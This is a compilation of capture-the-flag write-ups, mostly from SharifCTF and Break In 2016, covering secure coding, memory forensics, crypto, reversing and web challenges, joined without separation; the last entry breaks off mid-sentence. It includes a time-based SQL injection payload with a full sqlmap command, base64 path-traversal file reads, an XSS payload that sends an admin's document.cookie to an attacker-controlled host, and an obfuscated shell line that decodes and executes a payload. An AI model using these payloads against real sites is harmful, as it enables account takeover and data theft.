## SecCoding (Misc, 100p) > You should fix vulnerabilities of the given source code, WITHOUT changing its normal behaviour. Link ###ENG[PL](#pl-version) We are given following code, and are tasked with repairing bugs and vulnerabilities in it: ```cpp#include <vector>#include <iostream>#include <windows.h> using namespace std; int main(){ vector<char> str(MAX_PATH); cout << "Enter your name: "; cin >> str.data(); cout << "Hello " << str.data() << " :)" << endl; return -14;}``` This code is so bad, that if anyone seriously wrote code like that, he should immediately give up on programming and become baker instead. We don't even try to repair this program, we just scrap it and write everything from zero: ```cpp#include <iostream>#include <string> using namespace std; int main() { string str; cout << "Enter your name: "; cin >> str; cout << "Hello " << str << " :)" << endl; return -14;}``` Challenge solved. ###PL version Dostajemy taki kod i mamy go poprawić: ```cpp#include <vector>#include <iostream>#include <windows.h> using namespace std; int main(){ vector<char> str(MAX_PATH); cout << "Enter your name: "; cin >> str.data(); cout << "Hello " << str.data() << " :)" << endl; return -14;}``` Jest on tak dramatycznie napisany, że jeśli ktoś faktycznie napisał taki kod powinien prawdopodobnie zrezygnować z kariery programisty i przemyśleć karierę piekarza. Darujemy sobie poprawki i po prostu piszemy go od zera: ```cpp#include <iostream>#include <string> using namespace std; int main() { string str; cout << "Enter your name: "; cin >> str; cout << "Hello " << str << " :)" << endl; return -14;}``` Zadanie rozwiązane.
# Memdump (Forensics, 400) > We trying to capture the flag too! But that's what it left for us. In this task we ware given a memdump2.xz containing about 132MB During the searching file I found interesting line:```echo =owY1JHbg0ycggGd0BnOv8SN04SM4MjL1MjL1IzLqt0TwF3b | rev | openssl enc -a -d | rev | . /dev/stdin > /tmp/.KvCf56``` After running this in console I get PE file:```out: PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows``` I found out at file was protected by ASpack:```00 00 00 00 00 00 10 00 2e 74 65 78 74 00 00 00 |.........text...|00 10 00 00 00 10 00 00 00 02 00 00 00 06 00 00 |................|00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 |............`...|2e 64 61 74 61 00 00 00 00 10 00 00 00 20 00 00 |.data........ ..|00 02 00 00 00 08 00 00 00 00 00 00 00 00 00 00 |................|00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 |[email protected]...|00 10 00 00 00 30 00 00 00 0e 00 00 00 0a 00 00 |.....0..........|00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 |............@...|2e 61 73 70 61 63 6b 00 00 20 00 00 00 40 00 00 |.aspack.. ...@..|00 12 00 00 00 18 00 00 00 00 00 00 00 00 00 00 |................|00 00 00 00 60 00 00 e0 2e 61 64 61 74 61 00 00 |....`....adata..|``` Ollydbg + OllyDumpEx Plugin + ImportREC let me unpack file (Unpacking was aldo passible using FUU)In the file section .rsrc was easy to seen string "FLAG IMG", was there also png magic numbers ![hex.png](hex.png) Separation png image from file give us flag and 400 points ![flag.png](flag.png) SharifCTF{39057E5702F8167AA641CA9AD7E9A15E}
## URE ### Problem * Let p be a prime, and g be an element of ℤp of prime order q.* Let x ∈ ℤq be the private key, and h = gx (mod p) be the public key.* To encrypt a message m ∈ ℤ*p, pick two random values r, s ∈ ℤq, and compute the ciphertext as follows: - (a, b, c, d) = (g^r, h^r, g^s, mh^s). * Download a valid ciphertext σ = (a, b, c, d) below, and compute another valid ciphertext σ' = (a', b', c', d') such that: - σ and σ' decrypt to the same message; - a ≠ a' and b ≠ b' and c ≠ c' and d ≠ d'. ``` p = 0x8000048d1d71b57838b7d90ebc63b8c853f3af1af87ce2db5593f3386ae5139d040d3844e31db723d39cdd7717c8cffc26f6f877b5c85ca8e595ca687c07c773 a = 0x21068b690f5438360063bb80799a95af7bbb83fa399376af9ad21e0cef3d5233aa313fe1960ccfd87e8a4b1dba0e053d89bfebd4bc57170147462fafef44c9c7b = 0x436c161645052a76c1f7c976da63f61987f5f9bf7cb810a0e6fb1ea593aa9397c7b7cb0488f0f14cf93c79eef967a4b2a39388da1a357077d30a6f8b2a2c97e7c = 0x7dd53b07c05ea2aca88bcbdd58601fa344918848107431ae7710542ea625abb335c27352c1bd2ef01359adb19b1bee77edc07ab0b41b9766392fc154f7891268d = 0x1a50308011b409460d504cc7cddd61cdff1bda0774d1329b59606df274bce81a7e4b15830ddd4e684e3f2422d36bd52220134881db560be0a34c76a9c5bbb6be``` ### Solustion* 새로운 r, s를 만들어야 함 - (g^r, h^r, g^s, mh^s) * r' = 2r, s' = r + s - (a, b, c, d) - (g^r', h^r', g^s', mh^s') - (g^2r, h^2r, g^(r+s), mh^(r+s)) - (g^2r, h^2r, g^(r+s), mh^(r+s)) - (g^r * g^r, h^r * h^r, g^r * g^s, m * h^r * h^s) - (a * a, b * b, c * a, d * b)
# Sharif University CTF 2016 : Kick Tort Teen **Category:** Forensics**Points:** 50**Solves:** 120**Description:** > Anagram, anyone?>> Download [data.xls](./data.xls) ## Write-up by [Jashan Bhoora](https://github.com/jashanbhoora) Upon opening the Excel file we are given, we are presented with a 23x14747 spreadsheet of integers.I notice the Excel warning that Macros have been disabled, so I open the Macro Editor (Alt + F11) and find the following macro. ```VBAFunction FileExists(ByVal FileToTest As String) As Boolean FileExists = (Dir(FileToTest) <> "")End FunctionSub DeleteFile(ByVal FileToDelete As String) If FileExists(FileToDelete) Then 'See above SetAttr FileToDelete, vbNormal Kill FileToDelete End IfEnd SubSub DoIt() Dim filename As String filename = Environ("USERPROFILE") & "\fileXYZ.data" DeleteFile (filename) Open filename For Binary Lock Read Write As #2 For i = 1 To 14747 For j = 1 To 23 Put #2, , CByte((Cells(i, j).Value - 78) / 3) Next Next Put #2, , CByte(98) Put #2, , CByte(13) Put #2, , CByte(0) Put #2, , CByte(73) Put #2, , CByte(19) Put #2, , CByte(0) Put #2, , CByte(94) Put #2, , CByte(188) Put #2, , CByte(0) Put #2, , CByte(0) Put #2, , CByte(0) Close #2End Sub``` I haven't done any VBA, but I figure it's writing a file to the Windows environment variable `%USERPROFILE%`.I enable and run the macro, and upon checking `%USERPROFILE%` I find `fileXYZ.data` Analysing under Ubuntu: ```file fileXYZ.datafileXYZ.data: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, stripped chmod +x fileXYZ.data./fileXYZ.dataSharifCTF{5bd74def27ce149fe1b63f2aa92331ab}```And there's the flag! Flag: SharifCTF{5bd74def27ce149fe1b63f2aa92331ab} ## Other write-ups and resources * <https://github.com/ctfs/write-ups-2016/tree/master/su-ctf-2016/forensics/kick-tort-teen-50>* [0x90r00t](https://0x90r00t.com/2016/02/07/sharif-university-ctf-2016-forensic-50-kick-tort-teen-write-up/)* [P4 Team](https://github.com/p4-team/ctf/tree/master/2016-02-05-sharif/for_50_tort#eng-version)* <https://github.com/QuokkaLight/write-ups/blob/master/sharif-university-ctf-2016/forensics/Kick_Tort_Teen.md>* <https://github.com/smokeleeteveryday/CTF_WRITEUPS/tree/master/2016/SHARIFCTF/forensics/kick_tort_teen>
# Writeup for hackme WEB (400) > Solves: 48> > Hack me, please The website contain only login form, without any other suspected content, so first impulse, sql injection. ![Screenshot_1.png](Screenshot_1.png) We have seen only one returned value `User Name or Password incorrect` if sql query was correct. Checked time based SQLi in login input `a' OR if(1=1, sleep(10), false) OR 'a` positive, because execute this taken ~10 seconds.We had assumed that was blind SQLi. (After CTF, another teams has shown that it was simple SQLi, blindSQLi was not necessary) We have not had a lot of time, so we use sqlmap. Form had csrf token `<input type='hidden' name='user_token' value='40dbd5c24bcba5a579557884b60e50d8' />`, but that was not a problem for sqlmap with two extra params `--csrf-token="user_token" --csrf-url="http://ctf.sharif.edu:35455/chal/hackme/677aa21d5725bb62/"` In a few seconds, we got, what we need. Command `python sqlmap.py -u "http://ctf.sharif.edu:35455/chal/hackme/677aa21d5725bb62/login.php" --csrf-token="user_token" --csrf-url="http://ctf.sharif.edu:35455/chal/hackme/677aa21d5725bb62/" --data="username=a&password=a&Login=Login&user_token=" --dump` ```Database: hack.meTable: user[1 entry]+--------+-----------+----------+----------------------------------+| userid | sessionid | username | password |+--------+-----------+----------+----------------------------------+| 1 | aaa | admin | 26a340b11385ebc2db3b462ec2fdfda4 |+--------+-----------+----------+----------------------------------+``` MD5 existed in web databases ![Screenshot_2.png](Screenshot_2.png) After login for `admin` `catchme8`, unfortunately not came out flag, but interesting dashboard. ![Screenshot_3.png](Screenshot_3.png) We did notice with great interest, that one menu link `help.pdf` had this route: `http://ctf.sharif.edu:35455/chal/hackme/677aa21d5725bb62/file.php?page=aGVscC5wZGY`. `aGVscC5wZGY` after base64 decode was `help.pdf`, looked like LFI. We encode `../index.php` to base64 `Li4vaW5kZXgucGhw`, open `http://ctf.sharif.edu:35455/chal/hackme/677aa21d5725bb62/file.php?page=Li4vaW5kZXgucGhw`, and get source of `index.php` into downloaded .pdf file. One line in `index.php` was `shpaMessagePush("error: saved in sensitive_log_881027.txt");`. Interestingly, we again encode `../sensitive_log_881027.txt` to `Li4vc2Vuc2l0aXZlX2xvZ184ODEwMjcudHh0` and get this file by url `http://ctf.sharif.edu:35455/chal/hackme/677aa21d5725bb62/file.php?page=Li4vc2Vuc2l0aXZlX2xvZ184ODEwMjcudHh0`. Downloaded file contained FLAG
### Photo Blog - web 100`Log in as admin` #ENThis task has web interface that allow us to comment. As suggested in task description, we found `/admin.php`and `/login.php`. ![](https://raw.githubusercontent.com/tuvshuud/1up/master/SharifCTF2016/photoblog100/shot3.png)![](https://raw.githubusercontent.com/tuvshuud/1up/master/SharifCTF2016/photoblog100/shot4.png) At home page, entering following payload works `<script>alert(1)</script>`. Then what about getting admin cookie, once he/she reads this. `<script>window.location.href=<ip>:<port>/c.php?c=document.cookie</script>` Then we got PHPSESSID, using this we can access to `/admin.php`.![](https://raw.githubusercontent.com/tuvshuud/1up/master/SharifCTF2016/photoblog100/shot1.png)![](https://raw.githubusercontent.com/tuvshuud/1up/master/SharifCTF2016/photoblog100/shot2.png) #MNЭнэ даалгавар веб интерфэйстэй байсан ба админ хэрэглэгчээр нэвтэрвэл флаг гарж ирэх байв. Даалгаварын тайлбар дээр бичсний дагуу тухайн веб сервер дээр `/admin.php`,`/login.php` гэсэн файлууд байгааг оллоо. ![](https://raw.githubusercontent.com/tuvshuud/1up/master/SharifCTF2016/photoblog100/shot3.png)![](https://raw.githubusercontent.com/tuvshuud/1up/master/SharifCTF2016/photoblog100/shot4.png) Нүүр хуудас дээр байгаа сэтгэгдэл бичих хэсэг дээр жаваскрипт код бичиж үзвэл ажиллаж байна `<script>alert(1)</script>`. Тэгвэл XSS скрипт оруулаад админы cookie-г авчихвал `/admin.php` рүү хандахдаа тухай cookie г ашиглаад орох боломжтой. `<script>window.location.href=<ip>:<port>/c.php?c=document.cookie</script>` ![](https://raw.githubusercontent.com/tuvshuud/1up/master/SharifCTF2016/photoblog100/shot1.png)![](https://raw.githubusercontent.com/tuvshuud/1up/master/SharifCTF2016/photoblog100/shot2.png)
## danklang (re, 100p) > if you see this task while scroling>> you have been visited by the reversing task of the 9447 ctf> good flags and points will come to you>> but only if you submit '9447{`dankcode main.dc`}' to this task. >> [main.dc](main.dc) ###PL[ENG](#eng-version) Przepełnione memami zadanie (co widać nawet po wstępie). Dostajemy [długi kod w nieistniejącym języku](main.dc). Ciężko go czytać, więc zaczynamy od przepisania go literalnie do pythona: [main1.py](main1.py). Widać że jest niesamowicie nieoptymalny - więc po prostu uruchomienie kodu main1.py prawdopodobnienie skończyłoby się za naszego życia (a na pewno nie w trakcie trwania CTFa) Rozpoczynamy rozpoznawanie funkcji które można zoptymalizować: Na przykład to nic innego niż fibonacci(memes) % 987654321 ```pythondef brotherman(memes): hues = 0 if memes != 0: if memes < 3: return 1 else: wew = brotherman(memes - 1) hues = wew wew = brotherman(memes - 2) hues += wew return hues % 987654321``` Jako że maksymalna wartość memes nie jest olbrzymia, możemy po prostu obliczyć wcześniej wszystkie wartości (precomputing): ```pythondef precompute_fibonacci_mod_987654321(): table = [] N = 13379447+1 result = [0] * N result[1] = 1 for i in xrange(2, N): result[i] = (result[i-2] + result[i-1]) % 987654321 return result precomputed_fibonacci = precompute_fibonacci_mod_987654321() def fibonacci_mod_987654321(number): return precomputed_fibonacci[number]``` Za to tutaj rozpoznajemy funkcję sprawdzającą czy liczba jest pierwsza:```pythondef fail(memes, calcium): dank = True if calcium < memes: if memes % calcium == 0: dank = False else: wew = fail(memes, calcium + 1) dank = wew return dank``` I przepisujemy ją do takiej postaci: ```pythondef is_prime(number): if number % 2 == 0: return False else: for divisor in range(3, int(sqrt(number)) + 1, 2): if number % divisor == 0: return False return True``` Dochodzimy do takiego stanu: [main2.py](main2.py) W tym momencie kończą się oczywiste pomysły na optymalizację, a wykonanie dalej jest bardzo powolne. Decydujemy się więcna więcej precomputingu, i obliczać z góry wszystko co się da. Przepisujemy więc sprawdzanie pierwszych: ```pythondef precompute_primes(): limit = 13379447 + 1 a = [True] * limit for i in xrange(2, len(a)): isprime = a[i] if isprime: for n in xrange(i*i, limit, i): a[n] = False return a primes = precompute_primes() def is_prime(number): return primes[number]``` funkcję dootdoot (nie rozpoznaliśmy jej, a wygląda na jakąś znaną funkcję z prostym wzorem matematycznym): ```pythondef dootdoot(memes, seals): if seals <= memes: if seals == 0: return 1 else: if seals == memes: return 1 else: return dootdoot(memes - 1, seals - 1) + dootdoot(memes - 1, seals)``` Na taką formę: ```pythondef precompute_dootdoot(): table = [] MAXH, MAXW = 6, 13379447+1 for i in range(MAXH): table.append([0] * MAXW) for i in range(0, MAXH): for j in xrange(0, MAXW): if i > j: table[i][j] = 0 elif i == 0: table[i][j] = 1 elif i == j: table[i][j] = 1 else: table[i][j] = table[i][j-1] + table[i-1][j-1] return table dootdoot_table = precompute_dootdoot()def dootdoot(memes, seals): return dootdoot_table[seals][memes] ``` Na końcu trzy powiązane funkcje - such, epicfail i bills: ```pythondef epicfail(memes): if memes > 1: if dank(memes, 2): return 1 + bill(memes - 1) else: return such(memes - 1) return 0 def such(memes): wow = dootdoot(memes, 5) if wow % 7 == 0: wew = bill(memes - 1) wow += 1 else: wew = epicfail(memes - 1) wow += wew return wow def bill(memes): wow = fibonacci_mod_987654321(memes) if wow % 3 == 0: wew = such(memes - 1) wow += 1 else: wew = epicfail(memes - 1) wow += wew return wow``` Do takiej postaci: ```pythondef bill(memes): wow = fibonacci_mod_987654321(memes) if wow % 3 == 0: wew = suchs[memes - 1] wow += 1 else: wew = epicfails[memes - 1] wow += wew return wow def such(memes): wow = dootdoot(memes, 5) if wow % 7 == 0: wew = bills[memes - 1] wow += 1 else: wew = epicfails[memes - 1] wow += wew return wow def epicfail(i): if i > 1: if is_prime(i): return 1 + bill(i - 1) else: return such(i - 1) return 0 epicfails = [0] * (13379447 + 1)suchs = [0] * (13379447 + 1)bills = [0] * (13379447 + 1) def upcompute_epicfails(): for i in xrange(1, 13379447+1): if i % 10000 == 0: print i epicfails[i] = epicfail(i) suchs[i] = such(i) bills[i] = bill(i) upcompute_epicfails()``` W tym momencie rozwiązanie zadania staje sie trywialne - skoro mamy już wszystkie wartości wyliczone, starczy pobrać wynik z tablicy: ```pythondef me(): memes = 13379447 wew = epicfails[memes] print(wew)``` Przepisywanie tego zajęło dość dużo czasu, ale ostatecznie doszliśmy do takiej formy jak [main3.py](main3.py).Uruchomiony kod wykonywał się dość długo, ale ostatecznie dostaliśmy wynik: `2992959519895850201020616334426464120987` Po dodaniu stałych części: 9447{2992959519895850201020616334426464120987} Zdobywamy punkty ### ENG version Task full of memes (which you can see even from the task description). We get a [long code in a made-up language](main.dc). It's difficult to read so we rewrite it to python: [main1.py](main1.py). It is clear that it's not optimal and execution of main1.py would not finish before we die (and for sure not before CTF ends). We start with trying to recognize some function we could optimize: For example this function is fibonacci(memes) % 987654321: ```pythondef brotherman(memes): hues = 0 if memes != 0: if memes < 3: return 1 else: wew = brotherman(memes - 1) hues = wew wew = brotherman(memes - 2) hues += wew return hues % 987654321``` And since the memes variable is not so big, we can simply calculate all values before (precomputing): ```pythondef precompute_fibonacci_mod_987654321(): table = [] N = 13379447+1 result = [0] * N result[1] = 1 for i in xrange(2, N): result[i] = (result[i-2] + result[i-1]) % 987654321 return result precomputed_fibonacci = precompute_fibonacci_mod_987654321() def fibonacci_mod_987654321(number): return precomputed_fibonacci[number]``` Here we recognize primarity test: ```pythondef fail(memes, calcium): dank = True if calcium < memes: if memes % calcium == 0: dank = False else: wew = fail(memes, calcium + 1) dank = wew return dank``` And change it for a faster one: ```pythondef is_prime(number): if number % 2 == 0: return False else: for divisor in range(3, int(sqrt(number)) + 1, 2): if number % divisor == 0: return False return True``` We end up with a new version: [main2.py](main2.py) At this point we run out of obvious ideas to optimize the code, and the execution time is still too long. We decide to do even more precomputing and just calculate all possible values. We precompute primarity check: ```pythondef precompute_primes(): limit = 13379447 + 1 a = [True] * limit for i in xrange(2, len(a)): isprime = a[i] if isprime: for n in xrange(i*i, limit, i): a[n] = False return a primes = precompute_primes() def is_prime(number): return primes[number]``` Function dootdoot (we didn't recognize it at the time, but it is just number of combinations): ```pythondef dootdoot(memes, seals): if seals <= memes: if seals == 0: return 1 else: if seals == memes: return 1 else: return dootdoot(memes - 1, seals - 1) + dootdoot(memes - 1, seals)``` We change into: ```pythondef precompute_dootdoot(): table = [] MAXH, MAXW = 6, 13379447+1 for i in range(MAXH): table.append([0] * MAXW) for i in range(0, MAXH): for j in xrange(0, MAXW): if i > j: table[i][j] = 0 elif i == 0: table[i][j] = 1 elif i == j: table[i][j] = 1 else: table[i][j] = table[i][j-1] + table[i-1][j-1] return table dootdoot_table = precompute_dootdoot()def dootdoot(memes, seals): return dootdoot_table[seals][memes] ``` And finally three connected function - such, epicfail i bills: ```pythondef epicfail(memes): if memes > 1: if dank(memes, 2): return 1 + bill(memes - 1) else: return such(memes - 1) return 0 def such(memes): wow = dootdoot(memes, 5) if wow % 7 == 0: wew = bill(memes - 1) wow += 1 else: wew = epicfail(memes - 1) wow += wew return wow def bill(memes): wow = fibonacci_mod_987654321(memes) if wow % 3 == 0: wew = such(memes - 1) wow += 1 else: wew = epicfail(memes - 1) wow += wew return wow``` Are changed into: ```pythondef bill(memes): wow = fibonacci_mod_987654321(memes) if wow % 3 == 0: wew = suchs[memes - 1] wow += 1 else: wew = epicfails[memes - 1] wow += wew return wow def such(memes): wow = dootdoot(memes, 5) if wow % 7 == 0: wew = bills[memes - 1] wow += 1 else: wew = epicfails[memes - 1] wow += wew return wow def epicfail(i): if i > 1: if is_prime(i): return 1 + bill(i - 1) else: return such(i - 1) return 0 epicfails = [0] * (13379447 + 1)suchs = [0] * (13379447 + 1)bills = [0] * (13379447 + 1) def upcompute_epicfails(): for i in xrange(1, 13379447+1): if i % 10000 == 0: print i epicfails[i] = epicfail(i) suchs[i] = such(i) bills[i] = bill(i) upcompute_epicfails()``` And now solving the task is trivial - we have all values calculated so we simply need to read the result from the array: ```pythondef me(): memes = 13379447 wew = epicfails[memes] print(wew)``` It took us a while to rewrite this but we finally got [main3.py](main3.py).The code was still running for quite a while but finally we got the result: `2992959519895850201020616334426464120987` which resulted in flag: 9447{2992959519895850201020616334426464120987}
# Break In 2016 - Go To The Scoreboard **Category:** Web**Points:** 20**Solves:** 127**Description:** > If you aren't on the Score Board this question is for you! :D ## Write-up by [ParthKolekar](https://github.com/ParthKolekar) The question had a html comment in the source of the page Enter the flag, and you are good to go. ## Other write-ups and resources * none yet
from pwn import *from hashlib import *import zlibimport qrcode# context.log_level = 'debug'#task: telnet ctf.sharif.edu 12432 HOST = "ctf.sharif.edu"PORT = 12432 def create_qrcode(cmd): qr = qrcode.QRCode(version = 1 , error_correction=qrcode.constants.ERROR_CORRECT_L, box_size = 1, border = 1 ) qr.add_data(cmd) qr.make(fit=True) img = qr.make_image() f = open("Qr-cmd.png" , 'w+') img.save(f , 'png') f.close() img = open('Qr-cmd.png' , 'r') data = img.read() img.close() data = zlib.compress(data , zlib.Z_BEST_COMPRESSION) data = pad_img(data) return data def get_binary(line): start = 67 return line[start:start+22] def get_integer(bin_prefix): for i in xrange(1000000000,10000000000000000): if(bin(int(md5(hex(i)[2:]).hexdigest(),16))[2:24] == bin_prefix): return [hex(i)[2:] , md5(hex(i)[2:]).hexdigest()] return False def pad_img(img): img += "\x90"*(200-len(img)) return img def get_chunk(): chunk = [19, 36] flag = '' for i in chunk: cnx = remote(HOST , PORT) cmd = "tail -c " +str(i)+ " flag" data = create_qrcode(cmd) print "[+] Qr-code compressed Zlib image created" line = cnx.recvline_startswith('Give' , True) cnx.recv() prefix = get_binary(line) print "[+] prefix: "+ prefix print "[+] Bruteforcing md5 hash" [integer , md5] = get_integer(prefix) print "[+] integer is: "+ integer print "[+] md5 hash is: "+ md5 print "[+] Sending the integer" cnx.send(integer) resp = cnx.recvuntil('T') print "[+] Sending compressed image" cnx.send(data) resp = cnx.recv() print "[+] Chunk leaked: "+resp[103:] + "\n" flag = resp[103:] + flag return 'SharifCT' + flag #THE MAIN flag = get_chunk()print "[+] The final flag is: "+ flag
# Break In 2016 - Crypto-Numbero **Category:** Crypto**Points:** 100**Solves:** 7**Description:** > 249929761157732020161556121009125440871694502549075144988219699324612968709313502340276966732128645621282888705508840858566948023130606222964801977446316823159281256329353559220858509063084671505269932006162189731434947807072043095879259154468002856960 ## Write-up by [ParthKolekar](https://github.com/ParthKolekar) In this question the number given was a double type. So all one had to do was to understand this part and after that it was just scanning and printing the number. Starting approach could be to read the number and then convert it to string byte by byte but that would lead to some garbage chars at the end and that's when one has to figure out that the number is larger than an integer. So now try out some other data types of larger size than int. Here's the code for how this number was created: 249929761157732020161556121009125440871694502549075144988219699324612968709313502340276966732128645621282888705508840858566948023130606222964801977446316823159281256329353559220858509063084671505269932006162189731434947807072043095879259154468002856960 /********** strtodouble.c ********************/ #include<stdio.h> int main() { double d[8]; scanf("%s", d); printf("%lf\n", d[0]); return 0; } After the string was converted to double, the decimal part was removed to increase the difficulty by broadning the field in which number could lie. Also removing the decimal part had no effect on the string. And here's the code to read the number and then print it in string: /********** doubletostr.c ********************/ #include<stdio.h> int main() { double x; scanf("%lf", &x); puts(&x); printf("\n%s\n",&x); return 0; } On running the number via this you get y0ug0t!t Which is the flag. ## Other write-ups and resources * none yet
#!/usr/bin/env python2.7# @skusec '''Assumption: randomness of the permutations results in cycles of size < 50(will not always be the case). Start the cycle at the slot we are seeking,so start at the i-th slot in round i, and hope for the best.''' import websocketimport os, sys, reimport subprocessimport shleximport loggingimport timelogging.basicConfig() # STATUS CODES (taken from server.py)CHALLENGE = '0'RE_ARRANGED = '1'GIVE_GUESS = '2'GREATE_GUESS = '4'WRONG_GUESS = '5'BYE = '6'FLAG_IS = '7' def solve_challenge(challenge): # Native (C) version of the 22-bits MD5 bruteforcer. cmd = './solve-md5 "%s"' % (challenge) output = subprocess.check_output(shlex.split(cmd)) return output.strip() class Game: def __init__(self): self.on_rearranged(0) def on_message(self, ws, message): status, message = message[0], message[1:] print('>>> [%f] Received message [status=%c]: %s' % (time.time(), status, message)) if status == CHALLENGE: solution = solve_challenge(message) print('>> Solved challenge: %s' % (solution)) self.ws.send(solution) elif status == RE_ARRANGED: self.on_rearranged(int(message)) elif status == GIVE_GUESS: print('>> GIVE GUESS, goal=%d, j=%s' % (self.goal, message)) self.give_guess(int(message)) elif status == GREATE_GUESS: print('>> **** CORRECT GUESS ****') elif status == WRONG_GUESS: actual = int(message) self.last_actual = actual elif status == BYE: print('>> BYE') exit(1) elif status == FLAG_IS: print('>> FLAG: %s' % (message)) else: print('What??') sys.stdout.flush() sys.stderr.flush() def on_rearranged(self, i): self.goal = i self.sent_guesses = [] self.last_guess = -1 self.last_actual = -1 def give_guess(self, j): if self.last_guess == -1: self.last_guess = self.goal self.send_guess(self.goal) elif self.last_actual != -1: if self.last_actual in self.sent_guesses: # We got a cycle, we should have won.. print('WARN: Program logic error, should have gotten slot due to cycle.') exit(1) else: # No cycle yet, keep going.. self.send_guess(self.last_actual) def send_guess(self, guess): self.sent_guesses.append(guess) self.ws.send(str(guess)) def start(self): url = 'ws://213.233.175.130:8998/' header = ['Cookie: SUCTF_SESSION_ID=86sqbe1nm22j5v3kvnv3ianph6; TEST=207320'] self.ws = websocket.WebSocketApp(url, on_message=self.on_message, header=header) self.ws.run_forever() game = Game()game.start() ''' C code for the solver: #include <stdio.h>#include <string.h>#include <stdint.h>#include <limits.h>#include <stdlib.h>#include <openssl/md5.h> int main(int argc, char** argv) { uint32_t masked_value; uint32_t guess; uint32_t upper; uint32_t current_mask; uint32_t add_shift; MD5_CTX ctx; unsigned char md5[16]; char guess_hex[9]; if (argc != 2) { return 1; } masked_value = 0; for (current_mask = 0; current_mask < 22; ++current_mask) { masked_value |= ((argv[1][current_mask] - 0x30) << (21 - current_mask)); } for (guess = 0; guess < UINT_MAX; ++guess) { memset(md5, 0, 16); memset(guess_hex, 0, 9); memset(&ctx, 0, sizeof ctx); sprintf(guess_hex, "%08x", guess); guess_hex[8] = 0; MD5_Init(&ctx;; MD5_Update(&ctx, guess_hex, 8); MD5_Final(md5, &ctx;; upper = 0; upper |= (md5[0] << 24); upper |= (md5[1] << 16); upper |= (md5[2] << 8); upper |= (md5[3] << 0); if ((upper >> 31) == 0) { continue; } upper = upper >> 10; if (upper == masked_value) { printf("%s\n", guess_hex); return 0; } } return 1;} '''
# SharifCTF 2016 Smooth As Silk 200 python -m primefac 11461532818525251775869994369956628325437478510485272730419843320517940601808597552925629451795611990372651568770181872282590309894187815091191649914833274805419432525386234876477307472337026966745408507004000948112191973777090407558162018558945596691322909404307420094584606103206490426551745910268138393804043641876816598599064856358266650339178617149833032309379858059729179857419751093138295863034844253827963 11461532818525251775869994369956628325437478510485272730419843320517940601808597552925629451795611990372651568770181872282590309894187815091191649914833274805419432525386234876477307472337026966745408507004000948112191973777090407558162018558945596691322909404307420094584606103206490426551745910268138393804043641876816598599064856358266650339178617149833032309379858059729179857419751093138295863034844253827963: 958483424448747472504060861580795018746355733561446016442794600533395417361061386707061258449029078376132360127073305093209304646989718030495000998517698501250000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001 11957987510443514049047696785587234758227153373363589891876816598599064856358266650339178617149833032309379858059729179857419751093138295863034844253827963 [primfac](https://pypi.python.org/pypi/primefac)
# Break In 2016 - Knock Knock **Category:** Networking**Points:** 200**Author:** Parth Kolekar (aka SprinkleberryMuffin)**Solves:** 5**Description:** > Find the flag.>> <script>> setTimeout(function(){> $.ajax({> 'url' : '',> success: function(){ window.location = '' },> headers: {Connection: 'close'},> });> }, 10000);> </script>>>> Note: port-scanning is permitted for this question.>> Note: Sending heavy load with intent to crash server is not.>> Note: The Mail Server is not involved with this contest. >> Hint: Like the base, it DROP>> Hint: A key port involved with this question is 1XXX. ## Write-up by [ParthKolekar](https://github.com/ParthKolekar) The solution of this is to send a tcp packet to port 1143. This changesthe state of the web-server, and then you send a request to https://felicity.iiit.ac.in:80/da3fcd1c-dee7-4c27-8523-82db5a4e1c8f This prints out flag: 7cc4c7e83e122b5f67d17585628f182f95b41581 Which is our flag. ## Extended Write-up A little background on the server setup has to be given for this question.The way that Felicity handles request is by a main [haproxy](http://www.haproxy.org/) loadbalancer which forwards requests to internal nodes which are [lxc](https://linuxcontainers.org/) containers. The main haproxy node is nicknamed `Yui`, all prefixed by `/contest` are sent to a contest portalnode nicknamed `Taiga`. This is a [nginx](http://nginx.org/) server. The main website is handled on a node nicknamed `Kurumi`. Kurumi is a [apache](http://httpd.apache.org/) server. The workflow is something like this http://Yui:80/request -> Location: https://felicity.iiit.ac.in/request via haproxy https://Yui:443/contest -> http://Taiga:80/contest via haproxy https://Yui:443/default_url -> http://Kurumi:80/default_url via haproxy http://Taiga:80/contest -> contest data via nginx http://Kurumi:80/request -> main website data via apache For this question a new node was introduced nicknamed `Mio`. This node had a ngnix server and [sslh](http://www.rutschle.net/tech/sslh.shtml) daemon which does the following. http://Mio:80/request -> http://Mio:8080/request via sslh http://Mio:8080/request -> Location: https://felicity.iiit.ac.in/request + X-Too-Insecure "Request Too Insecure" via nginx https://Mio:443/contest/breakin/question/1/1/ -> question data via nginx + X-Too-Secure "Request Too Secure" https://Mio:443/contest -> http://Taiga:80/contest via nginx + X-Too-Secure "Request Too Secure" https://Mio:443/default_url -> http://Kurumi:80/default_url via nginx + X-Too-Secure "Request Too Secure" https://Mio:80/request -> https://Mio:8443/request via sslh https://Mio:8443/da3fcd1c-dee7-4c27-8523-82db5a4e1c8f -> flag data via nginx + X-Just-Right "https://felicity.iiit.ac.in:80/da3fcd1c-dee7-4c27-8523-82db5a4e1c8f" https://Mio:8443/contest -> http://Taiga:80/contest via nginx + X-Just-Right "https://felicity.iiit.ac.in:80/da3fcd1c-dee7-4c27-8523-82db5a4e1c8f" https://Mio:8443/default_url -> http://Kurumi:80/default_url via nginx + X-Just-Right "https://felicity.iiit.ac.in:80/da3fcd1c-dee7-4c27-8523-82db5a4e1c8f" The node `Mio` is injected in the main workflow via iptables in Yui.The iptables in Yui were set as follows. These are not the exact rules but provide an accurate enough representation *nat -A PREROUTING -m recent -m tcp -p tcp --dport 80 --rcheck --name FWPRT --rcheck --seconds 30 -j DNAT --to-destination Mio:80 -A PREROUTING -m recent -m tcp -p tcp --dport 443 --rcheck --name FWPRT --rcheck --seconds 30 -j DNAT --to-destination Mio:443 -A POSTROUTING -S Mio -j MASQUERADE *filter -A INPUT -m recent -m tcp -p tcp --name FWPRT --remove -A INPUT -m recent -m tcp -p tcp --dport 1143 --name FWPRT --set -j DROP ... ... Doing what needs to be done in the felicity server ... -A INPUT -m tcp -p tcp -j REJECT --reject-with icmp-host-unreachable -A INPUT -m recent -p icmp --rcheck --name FWPRT -j REJECT --reject-with icmp-host-unreachable -A INPUT -p icmp -j REJECT --reject-with icmp-admin-prohabited These are simple rules and in essence do the following Yui:80 -> if FWPRT then 